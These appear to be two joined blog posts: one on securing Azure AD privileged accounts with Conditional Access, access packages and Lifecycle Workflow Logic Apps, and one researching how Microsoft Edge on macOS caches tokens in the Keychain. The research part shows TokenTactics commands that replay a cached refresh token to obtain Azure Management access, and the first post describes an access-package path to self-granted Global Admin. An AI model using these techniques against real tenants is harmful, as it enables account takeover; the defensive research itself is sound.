Unfortunately, access packages cannot be used to assign eligible membership to Privileged Access Groups (PAG) yet. This is also a reason why I’m using a role group (PRG) which will be assigned to the PAG as member. This nested group membership allows me to take benefit from using access packages in combination with PAGs.
Role group will be assigned as eligible member of a PAG. Nesting of this role-assignable groups is necessary because of missing support to assign eligible membership to a PAG in access packages.
As already described, the initial policy can be used to configure an access review for assignments on access packages. It’s also possible to create an access review for the role group only. Reviewer will use the “My Access” portal to review the assignments including recommendations and useful remarks regarding assigned users.
Access Review shows recommendation to remove assignment (deny continued access) based on the activity of the assigned user (last sign-in).
It’s needed to provide DevOps engineers also limited access to Azure resources and Azure DevOps. Access should be very restricted on workload/data plane (reader permission or data action of individual/scoped resources) or Dev/Test lab environments. In addition, a managed and secured CI/CD pipeline should be used to deploy resources (as infrastructure-as-code) and isolated from contributor permissions in Azure DevOps. Nevertheless, DevOps employees are mostly using no Privileged Admin Workstation (PAW) or a dedicated privileged user account.
Therefore, you should particularly consider those user account and access requests with Conditional Access and Entitlement Management as well. Avoid options to gain access of overprivileged roles or in scope of “Management Plane”. All DevOps users with approved access requests on restricted “Workload Plane” will be assigned to a security group which can be used to enforce Conditional Access Policies to verify additional conditions and controls on user account and device.
DevOps accounts are able to request restricted access on “Data/Workload plane” on scoped resources in Azure and limited Azure DevOps Contributor role (without permissions to modify governance or protection policies in repo and pipelines) of a project.
The previously described role groups will be used to scope the Conditional Access policies for securing privilege user access. I can only strongly recommend to consider the privileged accounts as personas in your policy design to enforce higher requirements for grant (privileged) access. Microsoft Docs shows an excellent example how you can structure your policies based on personas and the resources which being accessed. An access template card could help you to define the characteristics of each persona.
In my scenario, I’ve used the following approach to visualize the requirements for a target policy set. This includes all conditions and signals but also controls which are available and should be applied for every access to a privileged intermediary, interface or resource.
Overview of authorized access paths from Privileged and DevOps Accounts including their conditions and control options for Conditional Access.
Some of the policies cannot be enforced directly after the provisioning of a privileged user because of some technical dependencies (e.g., enforce WHfB/FIDO2 before onboarding). Therefore, you should consider to apply these policies when the privileged user has assigned privileged roles (after provisioning). In this sample, I’ve configured the user assignment of the policy to the privileged role group instead of applying them to all privileged accounts (via dynamic group which contains all accounts). Nevertheless, policies to enforce MFA and compliant devices will be applied at all times.
The following policy design has been defined to protect every privileged user account with an assignment to a role group. This is an example and should defined your own policy set based on your security or governance requirements. The policies will be applied when accessing any Azure AD-integrated resource (target assignment to “all cloud apps”).
Alex Filipin has published very good policy templates for admin protection last year. Based on his work, I’ve developed this policies further and adjusted to my scenario.
Overview of Conditional Access Policies for Privileged user accounts.
Policy 120: Access of Privileged accounts is restricted to Privileged Admin Workstation (PAW) only.
Device Filter will be used to restrict access for PAW only. Keep in mind, some Azure AD directory roles are to modify ExtensionAttributes of Device-object (including Intune Admin).
Policy 123: Only Windows Devices with compliance status and low machine risks in Intune are allowed to use for privileged access. Example, PAW Device Compliance of Privileged Access deployment from Microsoft Docs.
Policy 122: Phishing-resistant authentication methods (such as FIDO2, WHfB) can only be used
Authentication Strengths must be used to enforce FIDO2 Security Key or “Windows Hello for Business” as Phishing-Resistant MFA option for all cloud apps.
Policy 124: Access to non-privileged interfaces (productivity apps such as Office 365) should be monitored and restricted by using “Conditional Access App Control” in Microsoft Defender for Cloud Apps (MDA). And even “local URL lock proxy”) will block unauthorized cloud apps access, it’s an additional layer for managing partly sanctioned apps.
Cloud Apps outside of Privileged Intermediaries or Interfaces should be monitored to detect access to productivity workloads (breach of tiering level to “User Access” and separation to “Work account”).
The following policy is already configured to apply for all user accounts in the Azure AD tenant:
Re-authentication will be enforced when sign-in risk is medium or higher
Remediation of sign-in risk with MFA requirement, satisfied by claim in the token, isn’t enough in my opinion. This allows attackers to use MFA claim in token replay scenarios. Therefore, I’m enforcing re-authentication in case of a sign-in risk.
In addition, you can also configure the following policy to manage SSO behavior and sign-in frequency setting of the privileged account:
Never persistent (SSO) browser session with re-authentication after 10 hours (work day).
Restrict authentication session for privileged account limits the duration of token and limit time window for abusing stolen token (from replay attacks).
Registration of security information and register Azure AD devices should be particularly protected. Temporary Access Pass (TAP) satisfies requirements for MFA. Therefore, both user actions should be configured to require MFA which enforces the use of TAP during the onboarding process. This is one of the policy which also applies to all different types of users (including work accounts). More details can be found on Microsoft Docs.
In addition to protect privileged accounts, I’ve configured also a policy set to protect the privileged intermediaries and interfaces explicitly. This allows also to enforce separation of user and privileged access paths to avoid unintended and granted access from work accounts (on “User Access” plane) to “Control- or Management Plane”. This includes also to consider the DevOps Accounts for accessing Azure Portal and Azure DevOps for restricted access.
“Securing Privilege Access” documentation from Microsoft describes isolated virtual zones which should be considered in the Conditional Access implementation. Image source: “Securing privileged access” from Microsoft Docs.
A set of conditions and controls should apply to all privileged cloud apps, regardless who try to gain access. For example, Microsoft recommends requiring MFA for any user accessing Azure Management.
Those policies will also cover authorized access paths from DevOps accounts which have restricted access to Azure Management and Azure DevOps. Nevertheless, the DevOps users need to satisfy the conditions by using a specialized device with higher security standards than a default workstation.
Overview of my configured Conditional Access Policies to protect every access to a cloud app which will be used for Control- or Management Plane. Side Note: Keep in mind, exclude emergency access accounts (“Break-glass”) and Azure AD synchronization accounts from this policies.
The following policies will be enforced and needs to be satisfied for granting access:
Azure Management portal and API services should be selected as “cloud app” for the policy to protect privileged interfaces. However, the policy will be enforced for a set of services which are bounded to the Azure portal and the API. Please consider the list of known dependencies from Microsoft Docs which has an indirect impact to such a policy assignment.
Azure DevOps is one of the related cloud apps. This is another reason why I included the DevOps accounts as part of the authorized access path.
In addition to “Azure Management”, other cloud apps need to be protected as privileged interface. This includes the following well-known Enterprise Apps for programmatically access with sensitive contested and delegated API permissions:
Custom Security attributes can be used to classify “Enterprise Apps” in relation to the “Tier Level” of the Enterprise Access Model.
Attribute set of “privilegedInterface” is assigned to set classification of the “Microsoft Graph PowerShell” as sensitive application which should be protected as Control/Management Plane asset.
App Filters allow us to assign “Cloud Apps” which matches the attribute name and values from Custom security attributes. In this case, policy applies to all access to classified “Control and Management Plane” apps.
Some sensitive portals and apps cannot be selected in the CA cloud app assignment. As far as I know, this includes also the “Microsoft 365 Defender” portal.
The following M365 Defender (legacy) portals can be selected in a policy which allows to block access from non-privileged accounts:
After blocking access to the legacy portals, access to Microsoft 365 Defender portal (https://security.microsoft.com) seems still possible even an error message shown blocked access to back-end calls to other portal APIs.
Block access to such non-supported CA target apps could be implemented by using CA App Control and access policies in Microsoft Defender for Cloud Apps.
Side Note: thinformatics has been published a blog post to restrict access to M365 Defender portals for members of a Privileged Access Group.
All configuration items to protect assignment of privileged access and enforce Conditional Access policies are highly critical and require particular attention. The following delegated Azure AD roles allows to manage any aspects of the associated identity governance and security configuration:
Many other Azure AD role members will be able to exclude their accounts from Conditional Access policies when you are using security groups for managing policy exclusions (such as “Emergency Access” or “Synchronization Accounts”).
Ownership can be assigned to “Role-assignable groups” which allows to change the sensitive groups outside of assigned Global Administrators and Privileged Role Administrators.
Review and consider catalog ownership and access package delegations in Identity Governance. For example, a delegated access package manager is able to create access package and assigns role-assignable membership to their account to become eligible for Azure AD or Azure RBAC roles.
Session Catalog includes role-assignable group with sensitive assignment to Azure AD admin role “Global Admin”, delegation for managing access package is delegated to a work account (breach of tier level)
Access package manager creates new access package and assign the included catalog resource (membership to role-assignable group with Global Admin assignment) to their own account or any other user.
Assignment to the role group will be executed from “Azure AD Identity Governance” as actor which has full access to change membership on protected role-assignable groups (alongside of Global/Privileged Role Admin and Group Owner).
Adding role-assignable groups to session catalog is restricted to Global-/Privileged Role Admin and Owner of the group. But creation and assignment of access package with role-assignable group isn’t restricted to this roles. Therefore, take care on delegated roles in Identity Governance and all created access packages from sensitive catalogs.
Microsoft has given the following caution on the docs article about managing access to resources in entitlement management:
]]>The role-assignable groups added to an access package will be indicated using the Sub Type Assignable to roles. For more information, check out the Create a role-assignable group article. Keep in mind that once a role-assignable group is present in an access package catalog, administrative users who are able to manage in entitlement management, including global administrators, user administrators and catalog owners of the catalog, will be able to control the access packages in the catalog, allowing them to choose who can be added to those groups. If you don’t see a role-assignable group that you want to add or you are unable to add it, make sure you have the required Azure AD role and entitlement management role to perform this operation. You might need to ask someone with the required roles to add the resource to your catalog. For more information, see Required roles to add resources to a catalog
Microsoft recommends using cloud-only and dedicated user accounts for privileged access. They should be mastered in Azure Active Directory (without synchronization or dependency from Active Directory) to isolate them in the case of an on-premises compromise. In the past, it was a challenge to manage the lifecycle of those accounts. Custom scripts, 3rd party solutions or manual processes have been implemented for (de)provisioning of privileged accounts. Using built-in capabilities of Cloud HR-driven user provisioning requires to have supported systems in place (e.g. WorkDay or SAP SuccessFactor).
Overview of isolated Azure AD and Microsoft 365 administration from Microsoft Docs article “Protecting Microsoft 365 from on-premises attacks”. TL;DR: “No on-premises accounts should have administrative privileges in Microsoft 365.”
In my opinion, separation between work account (for productivity tasks) and privileged accounts (for managing infrastructure or workloads) are necessary to enforce strong security and access policies. For example, enforcing usage of Privileged Admin Workstations (PAW) by Conditional Access Policies or limited Internet/mailbox access cannot be achieved if you are using a single user account. In my opinion, the risk of identity compromise on work account is higher because of an increased attack surface by everyday access to various productivity workloads and (public) internet. Separation between regular user and privileged access is a key foundation if you want to implement an Enterprise Access Model.
Additional references to Microsoft’s recommendations:
So, let’s summarize the key aspects and requirements for the user type of privileged identities in my following use case:
I’ve chosen the public preview of the new “Lifecycle Workflow” feature (of “Microsoft Entra Identity Governance”) to automate the on- and offboarding process for privileged accounts. This allows to use information from the source of authority (HR system, Azure AD or Active Directory) to trigger the process and get required attributes for (de)provisioning of the privileged account.
Even if you are using Active Directory as source of authority to trigger (de)provisioning of privileged accounts, a comprehensive isolation is given (in my opinion). Only the trigger event to create and disable a user account relies on the Active Directory. From my point of view, an abuse and impact are limited in case of a compromise.
Side Note: Even I’m using the terminology or object name “privileged users”, those accounts are not assigned to privileged roles or permissions at the time of onboarding. Afterwards, a separated process for (Privileged) Entitlement Management will be responsible to verify and assign those privileges. User request for access assignment needs to be verified explicitly.
Overview of Identity Lifecycle Workflows in the following use case of managing privileged users with Microsoft Entra Identity Governance.
Lifecycle workflows will be triggered based on the attributes EmployeeHireDate
and EmployeeLeaveDate
in Azure AD. These attributes (from the synchronized account) will be used to trigger the event for (de)provisioning of privileged accounts synchronously to the hiring and termination process. It’s required that this fields will be synchronized from the source of authority. For the following sample of use, I’ve considered the following the options:
Cloud-only work accounts: Provisioning from Azure Active Directory
The attributes EmployeeHireDate
but also EmployeeLeaveDate
are synchronized (via Cloud HR solutions) or has been manual updated on the pre-created work account in Azure AD. The attribute can be listed and modified via Microsoft Graph API:
Update of Employee Hire and Leave Date can be managed via Microsoft Graph API requests. Date must be in the format “YYYY-MM-DDThh:mm:ssZ”
Azure AD user blade shows EmployeeHireDate
(“Employee hire date”) in the properties. In addition, attributes such as jobTitle
, department
and employeeId
are maintained which will be used later in the provisioning process. At this time, the work account is disabled.
Synchronized work accounts: Provisioning from Active Directory via Azure AD Connect:
The source system is able to synchronize EmployeeHireDate
and EmployeeLeaveDate
of the user object (work account) to a custom attribute in Active Directory. Both attributes don’t exist in the (default) Active Directory Schema, therefore you need to choose an attribute (e.g. ExtensionAttribute1
). Azure AD Connect-Server and -Cloud Sync needs to be configured to synchronize the attributes to Azure AD.
The chosen “source attributes” in this sample are rather unsuitable. I was enforced to use them in this case because of limited availability of custom attributes in my environment (no Exchange custom attributes are available). In general, I would recommend using some custom / extension attributes.
Side Note: The msDS-cloudExtensionAttributes are not available in Azure AD Connect Cloud Sync by default. Currently, the Microsoft Docs article about configuring entity mapping seems not accurate.
Creating workflow from template
The first workflow is designed to be executed for onboarding a pre-hire IT employee (seven days before EmployeeHireDate
). I’ve used the built-in template “Onboard pre-hire employee” as basis to customize the workflow for IT employees.
Execution Conditions
The conditions for executing the workflow have been modified to the scope of users with the value “IT” in the property department
:
Defined tasks in workflow
The first two tasks are part of the workflow template and only the task name (yellow marked) has been modified. Those tasks are only related to the work account which has been already pre-created. I’ve added a “Custom task extension” (at task order number 3) which will create a disabled privileged account for the pre-hire employee:
The Process to create a (disabled) privileged account is included, alongside of the standard tasks for the work account (e.g. “Generate TAP…” or “Send Welcome Mail”).
Logic Apps can be triggered based on custom task extension and will be created right from the Lifecycle workflow blade. I’ve assigned the application permissions “User.Read.Write.All” to the managed identity of the Logic App.
Side Note: Currently, there’s no option to assign application permissions or custom roles to limit permissions on create user accounts (User.Create). I hope there will be a support for AU-scoped creation of users (similar to create a group in AUs) in the near future.
Workflow definition of the Logic App: Create-AADPrivilegedAccount.json · Cloud-Architekt/AzurePrivilegedIAM · GitHub
The Logic App workflows includes the following actions:
Phase 1: Get user details from work account
Phase 2: Classify type of privileged account based on attribute
I’ve chosen the design approach to implement a classification (already at the provisioning phase) to identify if the privileged account will be later used for managing “Control- or Management Plane”. You need to have an attribute in-place which can be used to classify the intended use. In this case, I’m using the attribute jobTitle
which can be an indicator for the scope of privileged access (e.g. IAM Administrator often require Control Plane access).
Phase 3: Provisioning of Privileged Accounts
The next action will create the privileged account with all required attributes including the EmployeeHireDate
as condition for the next Lifecycle workflow. EmployeeId
will be used to generate the privileged account name (based on the naming convention). Furthermore, “plus addressing” in Exchange Online will be set for mail redirection to the work account (e.g. to receive PIM notification). This was a great tip on Twitter by Merill Fernando.
But one important attribute for creating the account is still missing. We need to generate a password which is required for our Graph API call.
There’s no built-in action to generate a complex password but a couple of ideas (from the community) to use expressions:
Another approach could be to call an Azure Function to generate a complex password. This allows to use it as central managed API endpoint within your Identity-related Logic Apps.
Side Note: In this sample, I’m using a simplified approach to generate the password which is not offering a very high complex and strong initial password.
However, we need to take care on the value of the expression which needs to be protected and shouldn’t be visible in the workflow history or logs. Therefore, I’m using the expression within the HTTP action and enable “Secure Inputs and Outputs” in the settings:
This protects also the output value from the API response.
More details on secure your logic apps are available from Microsoft Docs.
Side Note: This sample shows the exclusion from the “Password expiration policy” and “no password change enforcement at next logon”. Microsoft recommends ensuring that administrators has changed passwords (at least 90 days). In my lab, I’m using Passwordless authentication methods and TAP only which is also enforced by Authentication Strength policies. Therefore, I’ve described and set no further scope on the user password management. But I would strongly recommend taking care on the initial password, rotation and password protection.
Phase 4: Assignment of Custom Security Attributes
After the account has been created successfully, the classification of the privileged account but also the relation to the work account will be stored in a custom security attribute (associatedWorkAccount
and associatedPrivilegedAccount
)
The information about the relation between the user accounts will be stored as Object GUID reference (to the associated account) on both user objects:
Side Note: In this example I’ve used a multi-value field on the custom security attribute of the work account. This allows me to build relations to multiple privileged accounts (e.g. if account isolation to other environments or separated for “(Tiered) Administrative levels” are required).
It’s needed to assign the Azure AD admin role as “Attribute Assignment Administrator” (58a13ea3-c632-46ae-9ee0-9c0d43cd7f3d) on the scope of the attribute set to the managed identity. This allows to assign and update the attributes of privilegedUsers
. The attribute set will be used for classification and account association only (no relation to Attribute-based Access Control (ABAC) use cases).
POST https://graph.microsoft.com/beta/roleManagement/directory/roleAssignments
Content-type: application/json
{
"@odata.type": "#microsoft.graph.unifiedRoleAssignment",
"roleDefinitionId": "58a13ea3-c632-46ae-9ee0-9c0d43cd7f3d",
"principalId": "ObjectIdOfTheManagedIdentity",
"directoryScopeId": "/attributeSets/privilegedUser"
}
Managed Identity of the Logic App has assigned to scoped “Attribute assignment administrator” role of the attribute set (based on directoryScopeId
).
The workflow for enabling the pre-created accounts will be triggered on the defined EmployeeHireDate
. I’ve spitted the workflows for onboarding the work and privileged account which gives me flexible options for different conditions and scopes.
Creating workflow from template
The process for enabling the work account has been created from the template “Onboard new hire employee” and will be also the basis for the process to enable the privileged account.
Execution Conditions
Conditions to trigger the workflows are set on EmployeeHireDate
and based on the same scope as the previous workflows (department
equal “IT”)
Creating workflow from template
As already named, I’ve chosen the previous chosen template as basis, even the tasks are different from the previous workflow.
Execution Conditions
This workflow will be triggered on the EmployeeHireDate
which has been added during the process of creating the (disabled) privileged account.
Defined tasks in workflow:
There are only two tasks for onboard the privileged account for the new employee.
Generating the Temporary Access Pass (TAP) will be part of a custom extensions to send it to the account owner. There’s already a built-in task to generate a TAP and send the pass via email to user’s manager:
For the following scenario, I’ve preferred to choose a custom extension (Logic App) which allows you to customize the recipient and way how the TAP should be delivered. Jan Bakker has written an excellent blog post about this scenario and gives a detail description on an advanced scenario (using SMS and mail). I’m strongly recommend to read the article to learn more about his great solution! This allows the user to onboard their FIDO2 security key or Windows Hello for Business for password-less authentication.
As a final step, a built-in task will enable the account in this workflow.
The following Logic App has granted permissions to the Azure AD admin role “Authentication Administrator” to create the TAP. I’ve created an Administrative Units (AU) which assigned the pre-created accounts based on a dynamic filter. This helps me to reduce the scope of this sensitive role to disabled (pre-created) privileged accounts only:
The pre-created privileged account for IT employees is assigned to the Administrative Unit “Tier1-ManagementPlane.OnOffBoarded”. All disabled privileged accounts (based on accountEnable
attribute and naming convention) on the specific Enterprise Access (Tier) Level (shared attribute filter with classification from lifecycle workflow) are assigned to the AU.
Managed Identity of the Logic App has granted permissions on Administrative Unit-Scope only. Privileged Accounts will be out of scope of this AU after they have been enabled and the dynamic filter has updated the user assignments.
You can get the following workflow as defintion (code) here: Generate-AADPrivilegedAccountTAP.json · Cloud-Architekt/AzurePrivilegedIAM · GitHub
Step 1: Get user details from pre-created account
In the beginning of the workflow a variable need to be initialized for storing the mail address of the shared mailbox (for sending the TAP). Afterwards user details of the pre-created user account will be collected.
Step 2: Create Temporary Access Pass for Initial Onboarding
Microsoft Graph API can be used to create the TAP with specific parameters (such as lifetime or one time use). The action is also configured to use “secure in- and output” to protect the secret of the TAP.
Step 3: Send TAP from shared mailbox to the account owner
In next step, delivery of the TAP (to the associated work account) will be defined. In this sample, I’m using a shared mailbox to send the pass via mail. Alternatively, you can also use other communication channel (Microsoft Teams, ticket system, password manager) and choose a different recipient.
At this time, the account has no assignments to privileged roles or permission (such as Azure AD admin roles, role assignable or privileged access groups). This allows to use the “Authenticator Administrator” role and the default security context of “Identity Lifecycle Workflows” built-in tasks to modify the account. In the last step, the account will be enabled to complete the provisioning process.
As already described, Lifecycle Workflows can be used to trigger the offboarding of accounts as part of the employee termination process. This can be done by updating the EmployeeLeaveDate
property via Microsoft Graph API or synchronizing the attribute from Azure AD Connect.
In this sample, I’m using a combined workflow to start the actions based on the EmployeeLeaveDate
attribute of the work account. This allows me to use a single trigger for offboarding of privileged account(s).
Creating workflow from template
There are two templates which can be used for (scheduled/planned) employee termination:
Choose the right template which fits better to your scenario and will be scheduled to the right time when the privileged account should be offboarded. In addition, there’s also an “on-demand” workflow template if you like to trigger the employee termination manually or “in real-time” (short-term dismissal).
Execution Conditions
In my example, I’m using the day of the EmployeeLeaveDate
to trigger this workflow in scope of every employee which has the department
attribute set to “IT”.
Defined tasks in workflow:
Built-in tasks will be used in the offboarding workflow to disable the user account but also remove group memberships and access of the work account.
A custom extension with the name “Disable-AADPrivilegedAccount” takes care, that all associated privileged accounts will be disabled.
Side Note: I would recommend the removal of privileged access by removing Access Package assignments instead of delete security group membership. In this sample, removing privileged access is not part of the workflow. I will try to include this topic in one of the next blog posts to show automation and implementation of access packages for lifecycle management of privileged access.
Workflow definition of the Logic App is available from my repository: Disable-AADPrivilegedAccount.json · Cloud-Architekt/AzurePrivilegedIAM · GitHub
Step 1: Initialize variables for error handling and notification
The first tasks will be used to initialize variables. Later on, they will be used if disabling the privileged account has been failed.
Step 2: Using custom security attributes to get all associated privileged accounts
In the next steps, the custom security attribute of associatedPrivilegedAccount
needs to be collected for building a correlation to the other privileged account(s) which should be also terminated. The variable “privilegedAccount” will be initialized as “Array” to support multi-values from the custom security attribute.
Step 3: Revoke sign-in sessions and disable account, send notification if disabling fails
The foreach loop iterates over the list of associated privileged accounts.
Revocation of sign-in sessions and set AccountEnable
to “false” (Disable account) are the following actions. A notification to the previous named recipient (e.g. “Identity Operations Team”) will be sent in case the request to disable the account from Microsoft Graph has been failed
Activities to disable and revoke sessions of privileged accounts needs extensive permissions. User accounts with membership to privileged access/role-assignable groups or directory roles are particularly protected by Azure AD. More details are available from Microsoft Docs: Azure AD built-in roles - Who can perform sensitive actions - Microsoft Entra
Unfortunately, it’s needed to assign sensitive permissions to the Logic App if you want to automate this process. Assignments of the “Privileged Authenticator Admin” directory role to the Managed Identity are needed to disable those accounts. Alternatively, you need to remove all privileged group or access package assignments of the account before this workflow will be executed. Moving to a half-automated process for disabling high-privileged accounts (create ticket to disable account) can be another option. Currently, there’s no way to build an Administrative Unit to delegate the “Privileged Authenticator Admin” role on a limited scope.
Side Note: In this sample, I’m not updating the EmployeeLeaveDate
on the privileged user account(s). This requires additional permissions to modify attributes of the privileged user.
As already mentioned, the used Custom Extensions (Logic Apps) are using high-privileged permissions. In addition, the Azure AD admin role “Lifecycle Workflows Administrator” delegates permission to modify the workflows. Therefore, I can only strongly recommend to consider them as high-sensitive assets. This should be part of your security concept to protect Control plane (Tier0) management assets. Furthermore, make sure you protect the Logic App workflows incl. HTTP trigger and code. Christropher Brumm has written an excellent blog post about securing Logic Apps. In addition, I can only recommend to keep also in mind, existing privilege escalation paths of Managed Identities and Logic Apps. Andy Robbins has published an awesome blog post series about Managed Identity Paths (including Logic Apps).
Debashis Choudhury (Principal Engineering Manager, Microsoft) has announced a private preview which integrates Microsoft Entra Verified ID to Entitlement Management. This will allow to add an additional (and secure) layer of user verification for requesting privileged access after privileged user onboarding. I would recommend to use “Verifiable Credentials” to verify IT employees during sensitive self-service actions such as requesting access package. But it also provides a secure and digital way for user verification in case of service or incident request and communication (between user and Helpdesk/Security Operations).
Issuing the Verified ID should be separated from the previous named Identity Lifecycle workflows.
Azure Portal and other privileged interfaces or intermediaries will not be accessible at this stage. Because the user is part of Conditional Access policies which blocks access from non-privileged devices and any user access without assignments to administrative groups. Only access to request access packages (from “My Access portal”) will be allowed. Access package assignments will be used to add the privileged account in the user assignment of Conditional Access for Privileged Accounts. This will be the topic for the next part of the blog post about using “Identity Governance” as Entitlement Management for Privileged Access.
]]>Overview of the sign-in, token cache flow and potential replay attack paths on macOS devices.
According to Microsoft docs, Keychain plays a central role to store cached tokens which provides SSO between MSAL apps:
When the Microsoft Authentication Library for iOS and macOS (MSAL) signs in a user, or refreshes a token, it tries to cache tokens in the keychain. Caching tokens in the keychain allows MSAL to provide silent single sign-on (SSO) between multiple apps that are distributed by the same Apple developer. SSO is achieved via the keychain access groups functionality.
Source: Configure keychain - Microsoft identity platform - Microsoft Docs
I have found the following Keychain entries in relation to authentication for various Microsoft products on a macOS device:
Product | SSO | Item Type | Keychain Entry | Access (Group) to Keychain item | Token/Credentials |
---|---|---|---|---|---|
Microsoft 365 Apps | Only between M365 Apps | application password | MicrosoftOffice15_2_Data: ADAL: |
com.microsoft | No secrets or tokens in Keychain |
Microsoft Teams | No | application password | Microsoft Teams Identities Cache, com.microsoft.oneauth. |
Microsoft Teams | No secrets or tokens in Keychain |
Microsoft Edge | No | application password | com.microsoft.oneauth. |
UBF8T346G9.com.microsoft .identity.universalstorage |
Various refresh token, primary refresh and access token has been cached. Reference to user’s objectId is included. |
Note: I’ve used an Azure AD unregistered device without Enterprise SSO plug-in for the following tests and use cases. Token caching in Keychain (by using access group “com.microsoft.identity.universalstorage”) seems to be the default for apps using MSAL. Therefore, most of the research results should be covered scenarios with „Enterprise SSO plug-in“ as well.
Side note: Azure CLI on macOS uses also MSAL in the recent versions. According to Microsoft docs, the cached tokens will be stored in files as cleartext if you are using Service Principals for authentication on macOS:
The MSAL token cache and service principal entries are saved as encrypted files on Windows, and plaintext files on Linux and MacOS.
Let’s have a closer look on the Edge profile sync with Azure AD account and the cached tokens…
A Keychain entry with the name “Microsoft Edge Safe Storage” will be created immediately after initial startup. At next, a user sign-in to “Edge” profile for using Azure AD SSO and satisfying (device compliant-based) Conditional Access Policies.
After synchronization has been finished, Microsoft Edge has assigned permissions for the following existing Keychain entries:
In addition, token artifacts can be found in the Keychain after you signed into a Microsoft Edge profile with Azure AD credentials:
The GUIDs after “accesstoken-” and “refreshtoken-” are representing the “ClientId” of 1st Party (Microsoft) Enterprise applications. The listed Azure AD tokens are issued for the following apps:
ClientId | Resource Application | Token Type |
---|---|---|
0ec893e0-5785-4de6-99da-4ed124e5296c | Office UWP PWA | Refresh, Access and ID Token |
d7b530a4-7680-4c23-a8bf-c52c121d2e87- |
Microsoft News Feed (enterprisenews.microsoft.com) | Refresh, Access and ID Token |
2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8 | Microsoft Bing Search for Microsoft Edge | Refresh, Access and ID Token |
ecd6b820-32c2-49b6-98a6-444530e5a77a | Microsoft.AAD.BrokerPlugin / Microsoft Edge | Access and ID Token |
All types of cached tokens are stored in JWT format and can be displayed by unlocking the associated Keychain entries with the credentials of the local macOS user.
It’s really interesting to see that these cached tokens are stored and readable from Keychain compared to other Microsoft products on macOS (such as Microsoft Teams or Microsoft Office apps). I was not able to see cached tokens on an equivalent way from those other products.
You’ll find the following non-interactive sign-ins in a regular start of Edge browser on macOS:
union SigninLogs, AADNonInteractiveUserSignInLogs
// Timerange of the Browser lunch
| where TimeGenerated > todatetime('2022-05-12T19:55:00Z')
| where DeviceDetail_string contains "macOs"
// Filtering for the AAD authenticated user in Edge profile
| where UserDisplayName contains "Scott"
| project TimeGenerated, Identity, AppDisplayName, ResourceDisplayName, AppId, Category
Refresh (RT) and access token (AT) will be updated in the Keychain immediately after launch.
One of the cached tokens by using an authenticated Edge Profile needs to pay special attention. The token issued to “Microsoft Bing Search for Microsoft Edge” (2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8) is one of the clients in the “Family of Client IDs Support”. Secureworks has done an amazing research work on this topic and published a detailed documentation. Thanks to Nestori Syynimaa for discussing this interesting topic with me.
In summary, some Microsoft client applications are compatible with each other which means refresh token can be redeemed for token as any other client in the family. This allows to take benefit from their scope.
For example, refresh token of the named “Microsoft Bing Search for Microsoft Edge” application has a very limited delegated permission scope. But it can be used to get a refresh token for “Microsoft Office” (d3590ed6-52b3-4102-aeff-aad2292ab01c) which allows to gain delegated access on a comprehensive user scope including the following sensitive Microsoft Graph API permissions:
In addition, the “Microsoft Office” refresh token can be used to acquire a refresh token for “Azure Management” and “Azure Core Management”:
$AzureManagementToken = RefreshTo-AzureManagementToken -domain "cloudlab.onmicrosoft.com" -refreshToken $Secret
Parse-JWTtoken -token $AzureManagementToken.Access_Token | fl aud, name, oid, scp, groups, appid
aud : https://management.azure.com
name : Spock
oid : dc15ccec-73ad-48b1-8eb2-a4c4c1f1c73c
scp : user_impersonation
groups : {2670b5ae-d1e0-4d31-ba6a-bd7317206e37, 66de7365-2b11-4432-8e0b-80138c8af96a,
7d2ae0fd-af63-4a7c-9a4e-7949eada6406, df5b8a26-3ac4-44df-a1ca-250368968a29}
appid : d3590ed6-52b3-4102-aeff-aad2292ab01c <-- Application Id of "Microsoft Office"
This token allows to get an access token for the Azure Resource Manager (ARM) API with Azure RBAC role permissions of the user by using the “Az” PowerShell Module:
PS C:\Attack\TokenTactics> Connect-AzAccount -AccessToken $AzureManagementToken.access_token -AccountId dc15ccec-73ad-48b1-8eb2-a4c4c1f1c73c
Account SubscriptionName TenantId Environment
------- ---------------- -------- -----------
dc15ccec-73ad-48b1-8eb2-a4c4c1f1c73c 36955ea9-c98e-4749-b603-ffefe652dd90 AzureCloud
Because of the various potential use cases, I’ve used the cached refresh token with ClientId scope on “Microsoft Bing Search” for further abuse and token replay scenarios.
A keychain entry with the name “refreshtoken-1—” and “primaryrefreshtoken-1—” exists alongside of client-specific refresh and access tokens:
It’s interesting to see a “Primary Refresh Token” (PRT) on a macOS device. Microsoft docs describes the PRT artifact in relation to Windows, iOS and Android but without any words regarding macOS:
A Primary Refresh Token (PRT) is a key artifact of Azure AD authentication on Windows 10 or newer, Windows Server 2016 and later versions, iOS, and Android devices. It is a JSON Web Token (JWT) specially issued to Microsoft first party token brokers to enable single sign-on (SSO) across the applications used on those devices. In this article, we will provide details on how a PRT is issued, used, and protected on Windows 10 or newer devices.
Source: Primary Refresh Token (PRT) and Azure AD
The JWT of the “PRT” can be read in cleartext by local user after unlocking the related Keychain entry. It contains the “Secret” but also a “Session_Key”. PRT is defined as “credential_type” in “Protocol Version” 3.0. I was not able to replay or “pass” the PRT in combination with various offensive tools (such as AADInternals or ROADtools). It seems to be “incompatible” because of the different PRT Protocol version. Therefore it was not possible to verify if the PRT can be replayed as well.
Compared to Windows 10 or newer devices, sensitive keys of the PRT will be not protected particular on macOS. The session key seems readable for the related user and value in the Keychain item is not encrypted by a transport key. On Windows devices, a “session key” can be only decrypted by using a “private transport key” which is secured by the TPM chip.
More details on PRT protection on Windows can be found on Microsoft Docs.
During my research, I’ve discovered the following two “behaviours” which should be considered:
Azure AD users are able to “sign out” from profile and choose “Clear favorites, history, passwords, and other browsing data from this device when signing out from profile:
Microsoft Edge for macOS stores refresh tokens persistently (incl. PRT and session key) even if the user has been signed out from profile and deleted “all profile data”. The latest Edge browser version “101.0.1210.47” has been used for my tests.
Cached tokens are still valid (until token lifetime has expired) and can be used for token replay. A user needs to enter their credentials for “re-signing” to the Edge profile. In this case, Microsoft Edge is not using the remaining cached tokens for re-authentication.
Nevertheless, I would consider deleting all related Keychain entries manually or as part of a script if no device reset can be executed. Alternatively, Azure AD admins should revoke all refresh tokens to prevent abuse of the remained refresh tokens.
Comparison to other Microsoft apps on macOS: Sign-out from Microsoft 365 Apps and Teams will also prevent users from resign-in without entering credentials. But all related Keychain entries will be removed after logout as well.
All cached tokens from the Microsoft Edge profile synchronization will be synchronized to iCloud if the user has been enabled “Keychain” sync.
This offers an access path for users (or attackers) to “synchronize” the related tokens to other iCloud connected devices for token replay and satisfying MFA requirements and/or conditions by Conditional Access policies (part of token claims) from another device.
In my opinion, the following examples of attack paths exists where user or attacker could gain access to the cached token in the keychain of the user:
